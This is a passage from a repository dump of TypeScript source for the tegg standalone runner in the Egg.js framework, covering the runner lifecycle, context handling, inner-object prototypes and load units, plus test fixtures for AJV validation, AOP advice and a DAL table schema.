MysqlDataSourceManager.instance,\n        },\n      ],\n    };\n\n    const runtimeConfig: Partial<RuntimeConfig> = {\n      baseDir: this.cwd,\n      name: this.name,\n      env: this.env,\n    };\n    // Inject runtimeConfig\n    this.innerObjects.runtimeConfig = [\n      {\n        obj: runtimeConfig,\n      },\n    ];\n\n    // load module.yml and module.env.yml by default\n    // Always set configNames for this runner invocation, since destroy() clears it\n    // asynchronously and may not have completed before the next Runner is created.\n    ModuleConfigUtil.configNames = ['module.default', `module.${this.env}`];\n    for (const reference of this.moduleReferences) {\n      const absoluteRef = {\n        path: ModuleConfigUtil.resolveModuleDir(reference.path, this.cwd),\n        name: reference.name,\n      };\n\n      const moduleName = ModuleConfigUtil.readModuleNameSync(absoluteRef.path);\n      this.moduleConfigs[moduleName] = {\n        name: moduleName,\n        reference: absoluteRef,\n        config: ModuleConfigUtil.loadModuleConfigSync(absoluteRef.path),\n      };\n    }\n    for (const moduleConfig of Object.values(this.moduleConfigs)) {\n      this.innerObjects.moduleConfig.push({\n        obj: moduleConfig.config,\n        qualifiers: [\n          {\n            attribute: ConfigSourceQualifierAttribute,\n            value: moduleConfig.name,\n          },\n        ],\n      });\n    }\n    if (options?.innerObjects) {\n      for (const [name, obj] of Object.entries(options.innerObjects)) {\n        this.innerObjects[name] = [\n          {\n            obj,\n          },\n        ];\n      }\n    } else if (options?.innerObjectHandlers) {\n      Object.assign(this.innerObjects, options.innerObjectHandlers);\n    }\n  }\n\n  async load(): Promise<LoadUnit[]> {\n    StandaloneContextHandler.register();\n    LoadUnitFactory.registerLoadUnitCreator(StandaloneLoadUnitType, () => {\n      return new StandaloneLoadUnit(this.innerObjects);\n    });\n    LoadUnitInstanceFactory.registerLoadUnitInstanceClass(\n      StandaloneLoadUnitType,\n      ModuleLoadUnitInstance.createModuleLoadUnitInstance,\n    );\n    const standaloneLoadUnit = await LoadUnitFactory.createLoadUnit(\n      'MockStandaloneLoadUnitPath',\n      StandaloneLoadUnitType,\n      {\n        async load(): Promise<EggProtoImplClass[]> {\n          return [];\n        },\n      },\n    );\n    const loadUnits = await this.loadUnitLoader.load();\n    return [standaloneLoadUnit, ...loadUnits];\n  }\n\n  static getModuleReferences(cwd: string, dependencies?: RunnerOptions['dependencies']): readonly ModuleReference[] {\n    const moduleDirs = (dependencies || []).concat(cwd);\n    return moduleDirs.reduce(\n      (list, baseDir) => {\n        const module = typeof baseDir === 'string' ? { baseDir } : baseDir;\n        return list.concat(...ModuleConfigUtil.readModuleReference(module.baseDir, module));\n      },\n      [] as readonly ModuleReference[],\n    );\n  }\n\n  static async preLoad(cwd: string, dependencies?: RunnerOptions['dependencies']): Promise<void> {\n    const moduleReferences = Runner.getModuleReferences(cwd, dependencies);\n    await EggModuleLoader.preLoad(moduleReferences, {\n      baseDir: cwd,\n      logger: console,\n      dump: false,\n    });\n  }\n\n  private async initLoaderInstance() {\n    this.loadUnitLoader = new EggModuleLoader(this.moduleReferences, {\n      logger: ((this.innerObjects.logger && this.innerObjects.logger[0])?.obj as Logger) || console,\n      baseDir: this.cwd,\n      dump: this.options?.dump,\n    });\n    await this.loadUnitLoader.init();\n    GlobalGraph.instance!.registerBuildHook(crossCutGraphHook);\n    GlobalGraph.instance!.registerBuildHook(pointCutGraphHook);\n    const configSourceEggPrototypeHook = new ConfigSourceLoadUnitHook();\n    LoadUnitLifecycleUtil.registerLifecycle(configSourceEggPrototypeHook);\n\n    // TODO refactor with egg module\n    // aop runtime\n    this.crosscutAdviceFactory = new CrosscutAdviceFactory();\n    this.loadUnitAopHook = new LoadUnitAopHook(this.crosscutAdviceFactory);\n    this.eggPrototypeCrossCutHook = new EggPrototypeCrossCutHook(this.crosscutAdviceFactory);\n    this.eggObjectAopHook = new EggObjectAopHook();\n\n    EggPrototypeLifecycleUtil.registerLifecycle(this.eggPrototypeCrossCutHook);\n    LoadUnitLifecycleUtil.registerLifecycle(this.loadUnitAopHook);\n    EggObjectLifecycleUtil.registerLifecycle(this.eggObjectAopHook);\n\n    this.loadUnitMultiInstanceProtoHook = new LoadUnitMultiInstanceProtoHook();\n    LoadUnitLifecycleUtil.registerLifecycle(this.loadUnitMultiInstanceProtoHook);\n\n    const loggerInnerObject = this.innerObjects.logger && this.innerObjects.logger[0];\n    const logger = (loggerInnerObject?.obj || console) as Logger;\n\n    this.dalModuleLoadUnitHook = new DalModuleLoadUnitHook(this.env ?? '', this.moduleConfigs, logger);\n    this.dalTableEggPrototypeHook = new DalTableEggPrototypeHook(logger);\n    this.transactionPrototypeHook = new TransactionPrototypeHook(this.moduleConfigs, logger);\n    EggPrototypeLifecycleUtil.registerLifecycle(this.dalTableEggPrototypeHook);\n    EggPrototypeLifecycleUtil.registerLifecycle(this.transactionPrototypeHook);\n    LoadUnitLifecycleUtil.registerLifecycle(this.dalModuleLoadUnitHook);\n  }\n\n  async init(): Promise<void> {\n    await this.initLoaderInstance();\n\n    this.loadUnits = await this.load();\n    const instances: LoadUnitInstance[] = [];\n    for (const loadUnit of this.loadUnits) {\n      const instance = await LoadUnitInstanceFactory.createLoadUnitInstance(loadUnit);\n      instances.push(instance);\n    }\n    this.loadUnitInstances = instances;\n    const runnerClass = StandaloneUtil.getMainRunner();\n    if (!runnerClass) {\n      throw new Error('not found runner class. Do you add @Runner decorator?');\n    }\n    const proto = PrototypeUtil.getClazzProto(runnerClass);\n    if (!proto) {\n      throw new Error(`can not get proto for clazz ${runnerClass.name}`);\n    }\n    this.runnerProto = proto as EggPrototype;\n  }\n\n  async run<T>(aCtx?: EggContext): Promise<T> {\n    const lifecycle = {};\n    const ctx = aCtx || new StandaloneContext();\n    return await ContextHandler.run(ctx, async () => {\n      if (ctx.init) {\n        await ctx.init(lifecycle);\n      }\n      const eggObject = await EggContainerFactory.getOrCreateEggObject(this.runnerProto);\n      const runner = eggObject.obj as MainRunner<T>;\n      try {\n        return await runner.main();\n      } finally {\n        if (ctx.destroy) {\n          ctx.destroy(lifecycle).catch((e) => {\n            e.message = `[tegg/standalone] destroy tegg context failed: ${e.message}`;\n            console.warn(e);\n          });\n        }\n      }\n    });\n  }\n\n  async destroy(): Promise<void> {\n    if (this.loadUnitInstances) {\n      for (const instance of this.loadUnitInstances) {\n        await LoadUnitInstanceFactory.destroyLoadUnitInstance(instance);\n      }\n    }\n    if (this.loadUnits) {\n      for (const loadUnit of this.loadUnits) {\n        await LoadUnitFactory.destroyLoadUnit(loadUnit);\n      }\n    }\n    if (this.configSourceEggPrototypeHook) {\n      LoadUnitLifecycleUtil.deleteLifecycle(this.configSourceEggPrototypeHook);\n    }\n\n    if (this.eggPrototypeCrossCutHook) {\n      EggPrototypeLifecycleUtil.deleteLifecycle(this.eggPrototypeCrossCutHook);\n    }\n    if (this.loadUnitAopHook) {\n      LoadUnitLifecycleUtil.deleteLifecycle(this.loadUnitAopHook);\n    }\n    if (this.eggObjectAopHook) {\n      EggObjectLifecycleUtil.deleteLifecycle(this.eggObjectAopHook);\n    }\n\n    if (this.loadUnitMultiInstanceProtoHook) {\n      LoadUnitLifecycleUtil.deleteLifecycle(this.loadUnitMultiInstanceProtoHook);\n    }\n\n    if (this.dalTableEggPrototypeHook) {\n      EggPrototypeLifecycleUtil.deleteLifecycle(this.dalTableEggPrototypeHook);\n    }\n    if (this.dalModuleLoadUnitHook) {\n      LoadUnitLifecycleUtil.deleteLifecycle(this.dalModuleLoadUnitHook);\n    }\n    if (this.transactionPrototypeHook) {\n      EggPrototypeLifecycleUtil.deleteLifecycle(this.transactionPrototypeHook);\n    }\n    MysqlDataSourceManager.instance.clear();\n    SqlMapManager.instance.clear();\n    TableModelManager.instance.clear();\n    // clear configNames\n    ModuleConfigUtil.setConfigNames(undefined);\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneContext.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { AbstractEggContext } from '@eggjs/tegg-runtime';\n\nexport class StandaloneContext extends AbstractEggContext {\n  id: string;\n\n  constructor() {\n    super();\n    this.id = IdenticalUtil.createContextId();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneContextHandler.ts",
    "content": "import { AsyncLocalStorage } from 'node:async_hooks';\n\nimport { ContextHandler, type EggContext } from '@eggjs/tegg-runtime';\n\nexport class StandaloneContextHandler {\n  static storage: AsyncLocalStorage<EggContext> = new AsyncLocalStorage();\n\n  static register(): void {\n    ContextHandler.getContextCallback = () => {\n      return StandaloneContextHandler.storage.getStore();\n    };\n\n    ContextHandler.runInContextCallback = (context, fn) => {\n      return StandaloneContextHandler.storage.run(context, fn);\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneContextImpl.ts",
    "content": "import { IdenticalUtil } from '@eggjs/tegg';\nimport { AbstractEggContext } from '@eggjs/tegg-runtime';\n\nexport class StandaloneContextImpl extends AbstractEggContext {\n  readonly id: string;\n\n  constructor() {\n    super();\n    this.id = IdenticalUtil.createContextId();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneInnerObject.ts",
    "content": "import type { EggPrototype } from '@eggjs/metadata';\nimport { IdenticalUtil, type EggObjectName } from '@eggjs/tegg';\nimport { type EggObject, EggObjectFactory } from '@eggjs/tegg-runtime';\n\nimport { StandaloneInnerObjectProto } from './StandaloneInnerObjectProto.ts';\n\nexport class StandaloneInnerObject implements EggObject {\n  readonly isReady: boolean = true;\n  #obj: object;\n  readonly proto: StandaloneInnerObjectProto;\n  readonly name: EggObjectName;\n  readonly id: string;\n\n  constructor(name: EggObjectName, proto: StandaloneInnerObjectProto) {\n    this.proto = proto;\n    this.name = name;\n    this.id = IdenticalUtil.createObjectId(this.proto.id);\n  }\n\n  get obj(): object {\n    if (!this.#obj) {\n      this.#obj = this.proto.constructEggObject();\n    }\n    return this.#obj;\n  }\n\n  injectProperty(): void {\n    return;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<StandaloneInnerObject> {\n    return new StandaloneInnerObject(name, proto as StandaloneInnerObjectProto);\n  }\n}\n\nEggObjectFactory.registerEggObjectCreateMethod(StandaloneInnerObjectProto, StandaloneInnerObject.createObject);\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneInnerObjectProto.ts",
    "content": "import type { EggPrototype, InjectObjectProto, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport {\n  AccessLevel,\n  type EggProtoImplClass,\n  type EggPrototypeName,\n  type MetaDataKey,\n  MetadataUtil,\n  type ObjectInitTypeLike,\n  type QualifierInfo,\n  QualifierUtil,\n  type Id,\n  IdenticalUtil,\n  type QualifierValue,\n} from '@eggjs/tegg';\n\nexport class StandaloneInnerObjectProto implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n  private readonly clazz: EggProtoImplClass;\n  private readonly qualifiers: QualifierInfo[];\n\n  readonly id: string;\n  readonly name: EggPrototypeName;\n  readonly initType: ObjectInitTypeLike;\n  readonly accessLevel: AccessLevel;\n  readonly injectObjects: InjectObjectProto[];\n  readonly loadUnitId: Id;\n\n  constructor(\n    id: string,\n    name: EggPrototypeName,\n    clazz: EggProtoImplClass,\n    initType: ObjectInitTypeLike,\n    loadUnitId: Id,\n    qualifiers: QualifierInfo[],\n  ) {\n    this.id = id;\n    this.clazz = clazz;\n    this.name = name;\n    this.initType = initType;\n    this.accessLevel = AccessLevel.PUBLIC;\n    this.injectObjects = [];\n    this.loadUnitId = loadUnitId;\n    this.qualifiers = qualifiers;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  constructEggObject(): object {\n    return Reflect.apply(this.clazz, null, []);\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return MetadataUtil.getMetaData(metadataKey, this.clazz);\n  }\n\n  getQualifier(attribute: string): QualifierValue | undefined {\n    return this.qualifiers.find((t) => t.attribute === attribute)?.value;\n  }\n\n  static create(ctx: EggPrototypeLifecycleContext): EggPrototype {\n    const { clazz, loadUnit } = ctx;\n    const name = ctx.prototypeInfo.name;\n    const id = IdenticalUtil.createProtoId(loadUnit.id, name);\n    const proto = new StandaloneInnerObjectProto(\n      id,\n      name,\n      clazz,\n      ctx.prototypeInfo.initType,\n      loadUnit.id,\n      QualifierUtil.getProtoQualifiers(clazz),\n    );\n    return proto;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/StandaloneLoadUnit.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { type EggPrototype, EggPrototypeFactory, type LoadUnit } from '@eggjs/metadata';\nimport { type EggPrototypeName, ObjectInitType, type QualifierInfo } from '@eggjs/tegg';\nimport { MapUtil } from '@eggjs/tegg-common-util';\n\nimport { StandaloneInnerObjectProto } from './StandaloneInnerObjectProto.ts';\n\nexport const StandaloneLoadUnitType = 'StandaloneLoadUnitType';\n\nexport interface InnerObject {\n  obj: object;\n  qualifiers?: QualifierInfo[];\n}\n\nexport class StandaloneLoadUnit implements LoadUnit {\n  readonly id: string = 'StandaloneLoadUnit';\n  readonly name: string = 'StandaloneLoadUnit';\n  readonly unitPath: string = 'MockStandaloneLoadUnitPath';\n  readonly type: string = StandaloneLoadUnitType;\n\n  private innerObject: Record<string, InnerObject[]>;\n  private protoMap: Map<EggPrototypeName, EggPrototype[]> = new Map();\n\n  constructor(innerObject: Record<string, InnerObject[]>) {\n    this.innerObject = innerObject;\n  }\n\n  async init(): Promise<void> {\n    for (const [name, objs] of Object.entries(this.innerObject)) {\n      for (const { obj, qualifiers } of objs) {\n        const proto = new StandaloneInnerObjectProto(\n          IdenticalUtil.createProtoId(this.id, name),\n          name,\n          (() => obj) as any,\n          ObjectInitType.SINGLETON,\n          this.id,\n          qualifiers || [],\n        );\n        EggPrototypeFactory.instance.registerPrototype(proto, this);\n      }\n    }\n  }\n\n  containPrototype(proto: EggPrototype): boolean {\n    return !!this.protoMap.get(proto.name)?.find((t) => t === proto);\n  }\n\n  getEggPrototype(name: string, qualifiers: QualifierInfo[]): EggPrototype[] {\n    const protos = this.protoMap.get(name);\n    return protos?.filter((proto) => proto.verifyQualifiers(qualifiers)) || [];\n  }\n\n  registerEggPrototype(proto: EggPrototype): void {\n    const protoList = MapUtil.getOrStore(this.protoMap, proto.name, []);\n    protoList.push(proto);\n  }\n\n  deletePrototype(proto: EggPrototype): void {\n    const protos = this.protoMap.get(proto.name);\n    if (protos) {\n      const index = protos.indexOf(proto);\n      if (index !== -1) {\n        protos.splice(index, 1);\n      }\n    }\n  }\n\n  async destroy(): Promise<void> {\n    for (const namedProtoMap of this.protoMap.values()) {\n      for (const proto of namedProtoMap.values()) {\n        EggPrototypeFactory.instance.deletePrototype(proto, this);\n      }\n    }\n    this.protoMap.clear();\n  }\n\n  iterateEggPrototype(): IterableIterator<EggPrototype> {\n    const protos: EggPrototype[] = Array.from(this.protoMap.values()).reduce((p, c) => {\n      p = p.concat(c);\n      return p;\n    }, []);\n    return protos.values();\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/index.ts",
    "content": "export * from './EggModuleLoader.ts';\nexport * from './Runner.ts';\nexport * from './main.ts';\nexport * from './StandaloneInnerObjectProto.ts';\nexport * from './StandaloneContext.ts';\nexport * from './StandaloneInnerObject.ts';\n"
  },
  {
    "path": "tegg/standalone/standalone/src/main.ts",
    "content": "import { Runner, type RunnerOptions } from './Runner.ts';\n\nexport async function preLoad(cwd: string, dependencies?: RunnerOptions['dependencies']): Promise<void> {\n  try {\n    await Runner.preLoad(cwd, dependencies);\n  } catch (e) {\n    if (e instanceof Error) {\n      e.message = `[tegg/standalone] bootstrap standalone preLoad failed: ${e.message}`;\n    }\n    throw e;\n  }\n}\n\nexport async function main<T = void>(cwd: string, options?: RunnerOptions): Promise<T> {\n  const runner = new Runner(cwd, options);\n  try {\n    await runner.init();\n  } catch (e) {\n    if (e instanceof Error) {\n      e.message = `[tegg/standalone] bootstrap tegg failed: ${e.message}`;\n    }\n    throw e;\n  }\n  try {\n    return await runner.run<T>();\n  } finally {\n    runner.destroy().catch((e) => {\n      e.message = `[tegg/standalone] destroy tegg failed: ${e.message}`;\n      console.warn(e);\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/ajv-module/foo.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Type, type Ajv, type Static, TransformEnum } from '@eggjs/tegg/ajv';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nconst RequestBodySchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  skipDependencies: Type.Boolean(),\n  registryName: Type.Optional(Type.String()),\n});\n\ntype RequestBody = Static<typeof RequestBodySchema>;\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  private readonly ajv: Ajv;\n\n  async main(): Promise<string> {\n    const body: RequestBody = {} as any;\n    this.ajv.validate(RequestBodySchema, body);\n    return JSON.stringify({\n      body,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/ajv-module/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/ajv-module-pass/foo.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Type, type Ajv, type Static, TransformEnum } from '@eggjs/tegg/ajv';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nconst RequestBodySchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  skipDependencies: Type.Boolean(),\n  registryName: Type.Optional(Type.String()),\n});\n\ntype RequestBody = Static<typeof RequestBodySchema>;\n\n@ContextProto()\n@Runner()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  private readonly ajv: Ajv;\n\n  async main(): Promise<string> {\n    const body: RequestBody = {\n      fullname: 'mock fullname',\n      skipDependencies: true,\n      registryName: 'ok',\n    };\n    this.ajv.validate(RequestBodySchema, body);\n    return JSON.stringify({\n      body,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/ajv-module-pass/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/aop-module/Hello.ts",
    "content": "import assert from 'node:assert';\n\nimport { ContextProto, Inject, SingletonProto } from '@eggjs/tegg';\nimport { Advice, type AdviceContext, Crosscut, type IAdvice, Pointcut, PointcutType } from '@eggjs/tegg/aop';\n\nexport interface CallTraceMsg {\n  className: string;\n  methodName: string;\n  id: number;\n  name: string;\n  result?: string;\n  adviceParams?: any;\n}\n\n@SingletonProto()\nexport class CallTrace {\n  msgs: Array<CallTraceMsg> = [];\n\n  addMsg(msg: CallTraceMsg): void {\n    this.msgs.push(msg);\n  }\n}\n\nexport const pointcutAdviceParams = {\n  point: Math.random().toString() as string,\n  cut: Math.random().toString() as string,\n};\n\n@Advice()\nexport class PointcutAdvice implements IAdvice<Hello> {\n  @Inject()\n  callTrace: CallTrace;\n\n  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'beforeCall',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterReturn',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterThrow(ctx: AdviceContext<Hello, any>, error: Error): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterThrow',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result: error.message,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterFinally',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    ctx.args[0] = `withPointAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withPointAroundResult(${result}${JSON.stringify(pointcutAdviceParams)})`;\n  }\n}\n\n@ContextProto()\nexport class Hello {\n  id = 233;\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async helloWithException(name: string): Promise<string> {\n    throw new Error(`ops, exception for ${name}`);\n  }\n}\n\nexport const crosscutAdviceParams = {\n  cross: Math.random().toString() as string,\n  cut: Math.random().toString() as string,\n};\n\n@Crosscut(\n  {\n    type: PointcutType.CLASS,\n    clazz: Hello,\n    methodName: 'hello',\n  },\n  { adviceParams: crosscutAdviceParams },\n)\n@Advice()\nexport class CrosscutAdvice implements IAdvice<Hello, string> {\n  @Inject()\n  callTrace: CallTrace;\n\n  async beforeCall(ctx: AdviceContext<Hello, {}>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'beforeCall',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'afterReturn',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'afterFinally',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    ctx.args[0] = `withCrosscutAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withCrossAroundResult(${result}${JSON.stringify(ctx.adviceParams)})`;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/aop-module/main.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport { Hello } from './Hello.ts';\n\n@Runner()\n@ContextProto()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  hello: Hello;\n\n  async main(): Promise<string> {\n    return await this.hello.hello('aop');\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/aop-module/package.json",
    "content": "{\n  \"name\": \"aop-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"aopModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/custom-context/foo.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\nimport { ContextHandler } from '@eggjs/tegg-runtime';\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\nexport interface Hello {\n  hello(): string;\n}\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<string> {\n  async main(): Promise<string> {\n    const ctx = ContextHandler.getContext();\n    return ctx?.get('foo');\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/custom-context/package.json",
    "content": "{\n  \"name\": \"innerobject\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"innerobject\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/module.yml",
    "content": "dataSource:\n  foo:\n    connectionLimit: 100\n    database: 'test_dal_standalone'\n    host: '127.0.0.1'\n    user: root\n    port: 3306\n    timezone: '+08:00'\n    forkDb: true\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"@eggjs/dal-plugin\": \"*\"\n  },\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/src/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  type Geometry,\n  type GeometryCollection,\n  Index,\n  IndexType,\n  IndexStoreType,\n  type Line,\n  type MultiLine,\n  type MultiPoint,\n  type MultiPolygon,\n  type Point,\n  type Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 